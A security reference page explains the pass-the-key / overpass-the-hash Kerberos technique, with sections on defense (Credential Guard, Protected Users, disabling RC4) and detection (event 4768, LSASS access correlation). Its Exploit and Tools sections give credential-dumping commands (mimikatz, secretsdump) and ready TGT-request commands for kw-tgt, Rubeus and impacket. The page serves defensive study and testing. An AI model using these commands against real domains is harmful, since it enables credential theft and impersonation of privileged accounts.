Pass-the-Key / Overpass-the-Hash¶
Using stolen encryption keys to request Kerberos tickets without knowing the password.
MITRE ATT&CK: T1550.002 Use Alternate Authentication Material: Pass the Hash (covers overpass-the-hash)
This attack converts a stolen credential artifact - an NT hash or AES key - into a fully functional Kerberos TGT. The attacker never needs the plaintext password. Because the resulting TGT is issued by a real KDC and contains a legitimate PAC, it is indistinguishable from a ticket obtained through normal logon.
How It Works¶
The core insight is that Kerberos pre-authentication does not require
the plaintext password. It requires the encryption key derived from the password. If the
attacker already has the key, they skip the derivation step and go straight to building the
PA-ENC-TIMESTAMP structure.
RC4: The NT Hash IS the Key¶
When the encryption type is RC4-HMAC (etype 23), the Kerberos key is computed as:
RC4 key = MD4(UTF-16LE(password)) = NT hash
This is the same NT hash used for NTLM authentication. The two protocols share a key. An attacker who obtains the NT hash through any means - LSASS memory dump, DCSync, Kerberoasting, NTDS.dit extraction - can use it directly as the RC4 Kerberos key to request a TGT. This is why the technique is called "overpass-the-hash": it converts an NTLM hash into Kerberos access.
AES: Different Keys, Same Problem¶
With AES encryption types (etype 17 and 18), the key derivation uses PBKDF2 with a salt
(REALM + principal name), so the AES key is not the same as the NT hash. However, AES keys are
still extractable from:
- LSASS memory (via mimikatz
sekurlsa::ekeys) - Keytab files on Linux/Unix systems
- NTDS.dit with offline extraction tools
- DCSync with
lsadump::dcsync
Once obtained, AES keys work identically - the attacker encrypts the PA-ENC-TIMESTAMP with the
stolen AES key and the KDC issues a TGT.
Why It Works¶
The AS Exchange validates pre-authentication by decrypting the timestamp with the user's stored key. If decryption succeeds and the timestamp is within the 5-minute skew window, the KDC issues a TGT. The KDC has no way to distinguish between a key derived from a password typed by the user and a key injected by an attacker - they are cryptographically identical.
Attacker KDC
| |
| AS-REQ: cname=admin |
| PA-ENC-TIMESTAMP encrypted |
| with stolen NT hash (RC4 key) |
|------------------------------------->|
| | Decrypt timestamp with admin's
| | stored key -- success
| AS-REP: TGT + session key |
|<-------------------------------------|
| |
| TGT is now usable for any |
| TGS-REQ, just like a normal logon |
Defend¶
Preventing pass-the-key requires protecting the key material from extraction in the first place. The attack itself is a legitimate use of the Kerberos protocol - the defense is to deny attackers access to keys.
Credential Guard¶
Windows Credential Guard isolates LSASS secrets in a virtualization-based security (VBS) container. Even a local administrator cannot dump keys from LSASS memory when Credential Guard is enabled.
Credential Guard limitations
Credential Guard protects against LSASS memory dumps but does not prevent DCSync, NTDS.dit extraction, or keytab file theft. It is one layer, not a complete solution.
Starting in Windows 11 22H2 and Windows Server 2025, Credential Guard is enabled by default on domain-joined systems that are not domain controllers and meet the hardware requirements (Credential Guard overview). Older systems need it turned on.
Protected Users Group¶
Members of the Protected Users security group receive several hardening measures relevant to this attack:
- NTLM authentication is disabled (no NT hash cached for NTLM)
- Credential delegation and caching are restricted
- TGT lifetime is reduced to 4 hours
- Only AES encryption is used for Kerberos pre-authentication (DES and RC4 disabled)
Protected Users does not prevent AES pass-the-key
Forcing AES-only authentication raises the bar (the attacker needs AES keys instead of the NT hash), but AES keys are still extractable. The primary value is breaking the NTLM-hash-to-Kerberos-key equivalence.
Least-Privilege Administration¶
Minimize where privileged credentials are exposed:
- Do not log into workstations with Domain Admin accounts
- Use separate admin workstations (PAWs) for Tier 0 administration
- Avoid running services under highly privileged accounts
- Implement tiered administration to contain credential exposure
Enforce AES-Only Authentication¶
Disabling RC4 at the domain level (see RC4 Deprecation) eliminates the NT-hash-as-Kerberos-key equivalence. Attackers would need the AES key specifically, which is not interchangeable with NTLM hashes. This does not prevent the attack entirely but reduces the attack surface.
The April 2026 RC4 default change (CVE-2026-20833) is not this control. It applies to service tickets only and does not touch logon: on every build in this site's lab, including the enforcing one, an AS request that asked for RC4 was still answered with RC4. In this site's lab, removing RC4 from the domain controller's own Kerberos encryption-type policy also blocked RC4 pre-authentication (seen on one pre-April 2026 Server 2022 build, not re-run on later builds); that step requires every user to have AES keys first. See RC4 Deprecation. For individual accounts, Microsoft documents Protected Users membership as having the same effect on pre-authentication; this site's lab test of that was inconclusive.
Detect¶
Detection focuses on correlating credential theft indicators with subsequent TGT requests.
Event ID 4768 - TGT Request Anomalies¶
Every issued TGT generates a 4768 event on the domain controller, provided the Audit Kerberos Authentication Service subcategory is enabled (see Kerberos Auditing Policies). Look for:
- TGT requests for privileged accounts from workstations those accounts do not normally use
- TGT requests whose pre-authentication used RC4 (
Pre-Authentication EncryptionType=0x17) when the environment is configured for AES - Bursts of TGT requests from a single source for multiple accounts
The RC4 signal is in the pre-authentication field, not in Ticket Encryption Type. Microsoft
defines Ticket Encryption Type as "the cryptographic suite that was used for issued TGT", and
the TGT is encrypted with the krbtgt key: AES256 on any domain whose krbtgt has AES keys,
whichever key the client pre-authenticated with. Pre-Authentication EncryptionType
(PreAuthEncryptionType in the event XML) is "the Encryption Type that was selected for the
Pre-Authentication flow". It was added to the event by the January 2025 updates, so domain
controllers that predate them do not log it. This site's lab recorded the field only with the
values 0x12 and 0x0; an RC4 value there rests on Microsoft's field definition and has not
been tested here. An overpass-the-hash request made with an AES key
looks like any other AES logon in this event.
Log Name: Security
Event ID: 4768
Task Category: Kerberos Authentication Service
Keywords: Audit Success
Account Name: admin
Client Address: 192.0.2.50 <-- is this a normal source for this user?
Ticket Encryption Type: 0x12 <-- the TGT itself: AES256 whatever key was used
Pre-Authentication Type: 2
Pre-Authentication EncryptionType: 0x17 <-- RC4 pre-authentication, suspicious if AES is expected
For members of Protected Users, Microsoft documents that RC4 pre-authentication fails and that
the domain controller records it as event 104 in the ProtectedUserFailures-DomainController log
under Applications and Services Logs\Microsoft\Windows\Authentication. That log is disabled
by default and has to be enabled on each domain controller.
Correlate with LSASS Access (Sysmon Event 10)¶
The strongest detection signal is correlating credential dump activity with subsequent Kerberos authentication:
- Sysmon Event 10: process access to
lsass.exewithPROCESS_VM_READfrom an unusual process - Followed by Event 4768: TGT request from the same host for a privileged account
This correlation requires a SIEM that can link events across data sources.
Network Anomalies¶
- A user authenticating from a machine they have never used before
- TGT requests at unusual times (outside business hours for that user)
- TGT requests from non-domain-joined systems (if you can identify them by IP range)
Honeypot accounts
Create a privileged-looking account (e.g., svc_backup_admin) with a known NT hash that is
never used legitimately. Any TGT request for this account is an immediate indicator of
compromise.
Exploit¶
Step-by-Step¶
-
Obtain the key - extract the NT hash or AES key from one of these sources:
- LSASS memory:
mimikatz sekurlsa::logonpasswordsorsekurlsa::ekeys - DCSync:
mimikatz lsadump::dcsync /user:admin - NTDS.dit extraction: offline parsing with
secretsdump.py - Kerberoasting: crack a service ticket to recover the password, then derive the key
- LSASS memory:
-
Build the AS-REQ - construct a
PA-ENC-TIMESTAMPpre-authentication data block, encrypting the current timestamp with the stolen key. -
Send to the KDC - the KDC decrypts the timestamp, validates it, and returns an AS-REP containing a TGT and session key.
-
Use the TGT - the TGT is now cached (in a ccache file on Linux or in LSASS on Windows) and can be used for any TGS Exchange - requesting service tickets to access file shares, databases, remote management interfaces, or any other Kerberos-authenticated service.
Protocol View¶
The AS-REQ sent by the attacker is structurally identical to a legitimate one. The only difference is that the key was not derived from a password typed by the user - it was injected from a stolen credential. The KDC cannot tell the difference.
Tools¶
kerbwolf - kw-tgt¶
kw-tgt performs the complete AS Exchange using a password, NT hash, or AES key. It outputs a
ccache file that can be used with other kerbwolf tools or any tool that reads KRB5CCNAME.
# Overpass-the-hash with NT hash (RC4)
kw-tgt -d CORP.LOCAL --dc-ip 192.0.2.10 -u admin -H :31d6cfe0d16ae931b73c59d7e0c089c0
# Pass-the-key with AES-256
kw-tgt -d CORP.LOCAL --dc-ip 192.0.2.10 -u admin --aes256-key <aes256_key>
# Standard password authentication (for comparison)
kw-tgt -d CORP.LOCAL --dc-ip 192.0.2.10 -u admin -p '<password>'
# Chain: get TGT, then use it for Kerberoasting
kw-tgt -d CORP.LOCAL --dc-ip 192.0.2.10 -u admin -H :31d6cfe0d16ae931b73c59d7e0c089c0
kw-roast -k -c admin.ccache --ldap
Other Tools¶
| Tool | Command | Notes |
|---|---|---|
| mimikatz | sekurlsa::pth /user:admin /domain:CORP.LOCAL /ntlm:<hash> |
Injects credentials into a new process on Windows |
| Rubeus | Rubeus.exe asktgt /user:admin /rc4:<hash> /domain:CORP.LOCAL |
Requests TGT and can inject into current session with /ptt |
| impacket | getTGT.py CORP.LOCAL/admin -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 |
Outputs ccache file for use with other impacket tools |